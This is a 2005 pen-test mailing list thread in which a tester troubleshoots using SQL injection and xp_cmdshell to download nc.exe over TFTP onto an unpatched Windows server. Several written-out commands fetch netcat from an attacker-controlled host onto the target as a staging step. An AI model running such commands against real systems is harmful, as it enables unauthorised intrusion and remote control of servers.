Re: TFTP and XP_CMDSHELL - Weird

From: Andres Molinetti (andymolinetti_at_hotmail.com)
Date: 06/23/05

  • Next message: Andres Molinetti: "Re: TFTP and XP_CMDSHELL - Weird" 
    To: jselvi@s2grupo.com
Date: Thu, 23 Jun 2005 13:38:06 +0000

    >From: Jose Selvi <jselvi@s2grupo.com>
    >To: Andres Molinetti <andymolinetti@hotmail.com>
    >CC: pen-test@securityfocus.com
    >Subject: Re: TFTP and XP_CMDSHELL - Weird
    >Date: Thu, 23 Jun 2005 09:16:41 +0200
    >
    >Maybe sqlsvc user can't write in c:\ folder. Can He?.
    >
    >The first call to tftp you are using Administrator user, who of course can
    >write in c:\ .
    >
    >Try "runas /user:sqlsvc tftp -i myHost GET nc.exe c:\winnt\temp\nc.exe".
    >It must work.
    >
    It doesn't.
    Besides, I have done "runas /user:sqlsvc echo a > c:\xx.exe" and the file is
    created.
    any ideas?

    If it is any useful I recieve the following error on the Target machine:
    "tftp: No se puede escribir en el archivo local 'c:\xx.exe'"
    (tftp: Not able to write in local file 'c:\xx.exe')

    In a tcpdump in my TFTP Server I get the following error:
    10:41:37.528994 IP TARGET.1942 > SERVER.tftp: 48 ERROR EACCESS no se puede
    abrir el archivo para escritura"
    (cannot open file for writing)

    I think its beyond xp_cmdshell now..

    Thanks, Andy

    >Andres Molinetti escribió:
    >>Hi, I am testing a Web App vulnerable to SQL Injection.
    >>It is hosted in a Windows 2000 SP4 and SQL 2000 with no patches.
    >>
    >>While trying to use the xp_cmdshell to upload nc.exe from my tftpd server
    >>to the Webserver, I experienced some problems.
    >>
    >>I was able to execute xp_cmdshell 'echo a > c:\a.txt' . File is created.
    >>
    >>As administrator (using a windows cmd.exe shell) I ran "tftp -i myHost GET
    >>nc.exe c:\nc.exe". File is downloaded.
    >>
    >>When I tried it through the wep app it failed. I tried directly through
    >>SQL Query Analizer and it also failed.
    >>
    >>SQL is running as a low priviledged account (sqlsvc)...
    >>
    >>Then I ran (as Administrator) "runas /user:sqlsvc tftp -i myHost GET
    >>nc.exe c:\nc.exe" and IT FAILED.!!
    >>
    >>I can easily deduce that the problem is the TFTP client (tftp.exe)...
    >>
    >>Any Ideas?

    _________________________________________________________________
    Descarga gratis la Barra de Herramientas de MSN
    http://www.msn.es/usuario/busqueda/barra?XAPID=2031&DI=1055&SU=http%3A//www.hotmail.com&HL=LINKTAG1OPENINGTEXT_MSNBH

  • Next message: Andres Molinetti: "Re: TFTP and XP_CMDSHELL - Weird"

    Relevant Pages

    • Re: TFTP and XP_CMDSHELL - Weird
      ... Maybe sqlsvc user can't write in c:\ folder. ... The first call to tftp you are using Administrator user, ... I am testing a Web App vulnerable to SQL Injection. ... > I can easily deduce that the problem is the TFTP client... ...
      (Pen-Test)
    • Re: TFTP and XP_CMDSHELL - Weird
      ... Jose Selvi wrote: ... > Maybe sqlsvc user can't write in c:\ folder. ... > The first call to tftp you are using Administrator user, ... I am testing a Web App vulnerable to SQL Injection. ...
      (Pen-Test)
    • Re: TFTP and XP_CMDSHELL - Weird
      ... Does the TFTP even start? ... see the permissions on tftp.exe (the SQL may not be properly patched, ... but someone might have taken the time to secure some key executables ... I am testing a Web App vulnerable to SQL Injection. ...
      (Pen-Test)
    • Re: TFTP and XP_CMDSHELL - Weird
      ... >Does the TFTP even start? ... If it is any useful I recieve the following error on the Target machine: ... myself and it only has Windows 2000 SP4 with latest patches and SQL Server ... >> Moda para esta temporada. ...
      (Pen-Test)